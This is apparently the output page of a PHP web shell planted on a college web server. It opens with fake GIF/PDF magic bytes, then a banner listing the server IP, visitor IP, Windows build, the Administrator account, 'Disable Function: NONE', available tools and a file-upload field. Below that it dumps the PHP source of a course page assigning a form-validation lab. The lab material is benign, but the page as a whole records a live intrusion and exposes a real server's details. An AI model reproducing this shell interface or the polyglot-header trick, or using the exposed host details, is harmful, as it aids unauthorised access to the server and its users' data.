GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/_Archive/MMDT1146/Labs/Lab05/ |
Upload File : |
<? // JimMartinson/MMDT1146/Labs/Lab04.phpinc include('Course/courseInfo.phpinc'); include('../../classInfo.phpinc'); $evaluationNumber = 5; $evaluationType = "Lab"; $evaluationTitle = "Form Validation"; if ( !isset($assignmentSuffix) ) $assignmentSuffix = ''; $evaluationName = $evaluationType.twoDigit($evaluationNumber).$assignmentSuffix; if ( strlen($evaluationNumber) == 1 ) { $evaluationName = $evaluationType."0".$evaluationNumber; $evaluationNamePrevious = $evaluationType."0".($evaluationNumber-1); } else { $evaluationName = $evaluationType.$evaluationNumber; $evaluationNamePrevious = $evaluationType.($evaluationNumber-1); } $f_uId = formValue('uId'); if ( $f_uId ) $userId = $f_uId; if ( !isset($userId) ) $userId = $_SESSION['userId']; $title = $evaluationName.": ".$evaluationTitle; $headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title; $pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title; $pageMenu = 'Course/courseMenu.phpinc'; $smallTitle = true; $js='openCenteredWindow'; $smallTitle = true; include('common/pageHeader.phpinc'); $sectionTitle = $title; include('common/sectionHeader.phpinc'); include('Gradebook/EvaluationSubmission_BEGIN.phpinc'); $uploadFilename = $evaluationName.'.zip'; ?> <?=$f_message?> <a name="Lab"></a> <fieldset><legend>Description</legend> Demonstrate the use PHP user created functions.<br> <?=$gradeNote?> </fieldset> <? $ShowSpanCountBefore = false; #$ShowSpanCountBefore = true; ?> <style type="text/css"> b { white-space:nowrap; } <? if ( !$ShowSpanCountBefore ) { ?>//<? } ?> span.count:before { content:counters(item, "-"); color:#FF0000; } entry, kbd, tt, samp, var { padding:0; white-space:nowrap; } comment { color:#0c0; background-color:#ffc; } /* comment */ samp { color:#c00; } /* attibute */ kbd { background-color:#ffc; color:#609; } /* attibute value */ tt { color:#00c; } /* tag */ var { color:#00f; font-style:normal; } /* variable */ entry { background-color:#ffc; color:#f00; } /* PHP start stop */ </style> <? /** / tt = tag samp = attribute kbd = attribute value /**/ ?> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> assignment</legend> <ol id="main" class="count"> <li>Create a <b><?=$evaluationName?></b> directory in the <b>Data_WWW/MMDT1146</b> directory and place all work for this lab in that folder.</li> <li>Setup <b><?=$evaluationName?></b>, <b>common</b>, and <b>js</b> directory contents. <ol> <li>Copy the contents of your <b><?=$evaluationNamePrevious?></b> directory into the <b><?=$evaluationName?></b> directory.</li> <li>Rename the <b><?=$evaluationNamePrevious?>.php</b> file to <b><?=$evaluationName?>.php</b>.</li> <li>Rename the <b><?=$evaluationNamePrevious?>_Verify.php</b> file to <b><?=$evaluationName?>_Verify.php</b>.</li> <li>Copy the contents of the <a href="../../ExampleFiles/2014-11-12.zip">2014-11-12.zip</a> example <b>common</b> directory into the <b>/Data_WWW/<?=$courseNumber?>/common/</b> directory.</li> <li>Copy the contents of the <a href="../../ExampleFiles/2014-11-12.zip">2014-11-12.zip</a> example <b>js</b> directory into the <b>/Data_WWW/<?=$courseNumber?>/js/</b> directory.</li> </ol> </li> <li>Modify the <b><?=$evaluationName?>.php</b> file so that: <ol> <li>Uses the new lab number.</li> <li>Add a <tt>select</tt> element: <ol> <li>Following the password element.</li> <li>Asks for <b>Status</b>.</li> <li>Named <kbd>status</kbd>.</li> <li>Options: <kbd>None</kbd>, <kbd>Alumnus</kbd>, <kbd>Staff</kbd>, and <kbd>Student</kbd>.</li> <li>Requires one selection.</li> </ol> <li>Uses the Javascript isValid() function to validate form data at the client level.</li> <li>Uses the renamed and modified ichk() and isel() functions correctly.</li> </ol> </li> <li>Modify the <b><?=$evaluationName?>_Verify.php</b> file so that: <ol> <li>Uses the new lab number.</li> <li>Uses the PHP isValid() function to validate form data at the server level.</li> </ol> </li> <li>Modify the <b>functions.inc</b> file so that: <ol> <li>Rename the chk() to ichk.</li> <li>Rename the sel() to isel.</li> <li>Modify the renamed ichk() and isel() functions to use common code and to return a value instead of directly outputting html.</li> <li>Finish the isValid() function so it validates all form value types.</li> </ol> </li> <li>Do extensive testing to ensure your pages perform as directed.</li> <li>Turn in your assignment: <ol type="a"> <li>Zip up your <b>/Data_WWW/<?=$courseNumber?></b> folder into a file named <b><?=$uploadFilename?></b>. <br><span class="note" style="color:red;">NOTE: I want the entire <b><?=$courseNumber?></b> folder, not just the <?=$evaluationName?> folder.</span> </li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload"></li> <li>Then <input type="submit" name="f_subtask" value="Submit"> for grading.</li> </ol> </li> </ol> <?=$gradeNote?> </fieldset> <? /** / ?> <br><code>code</code> <codechange>codechange</codechange> <codeold>codeold</codeold> <comment>comment</comment> <entry>entry</entry> <kbd>kbd</kbd> <samp>samp</samp> <tt>tt</tt> <ttchange>ttchange</ttchange> <var>var</var> <? /**/ include('Gradebook/EvaluationSubmission_END.phpinc'); $deductionPoints = $evaluationInfo['evaluationPoints'] / 10; if ( $deductionPoints == 1 ) { $deductionPoints = '1 point'; } else { $deductionPoints = $deductionPoints.' points'; } ?> <fieldset><legend>Grading Criteria</legend> Demonstrated assignment effectively: <b><?=$evaluationInfo['evaluationPoints']?></b> points. <br> There are some things I expect. If they are incorrect you will lose the following: <br> Work submitted incorrectly: -<?=$deductionPoints?>. <br> Work submitted late: -<?=$deductionPoints?> per week. <br> Re-submission of work for grading: -<?=$deductionPoints?> per submission. <br> I reserve the right <b>not</b> to apply the deduction points at my absolute discretion. </fieldset> <fieldset><legend>NOTES:</legend> <b>We will be using the following in every html page throughout this class:</b> <ul> <li>The HTML 5 DOCTYPE: <tt><!DOCTYPE html></tt>.</li> <li>An html tag with <samp>lang</samp> attribute: <tt><html <samp>lang="<kbd>en</kbd>"</samp>></tt>.</li> <li>A <tt>title</tt> tag.</li> <li>The meta character set tag <tt><meta <samp>charset="<kbd>utf-8</kbd>"</samp>></tt>.</li> <li>An <tt>h1</tt> heading tag with the same content as in the <tt>title</tt> tag.</li> </ul> </fieldset> <? include('../../ReferencesResources.phpinc'); include('common/sectionFooter.phpinc'); ?>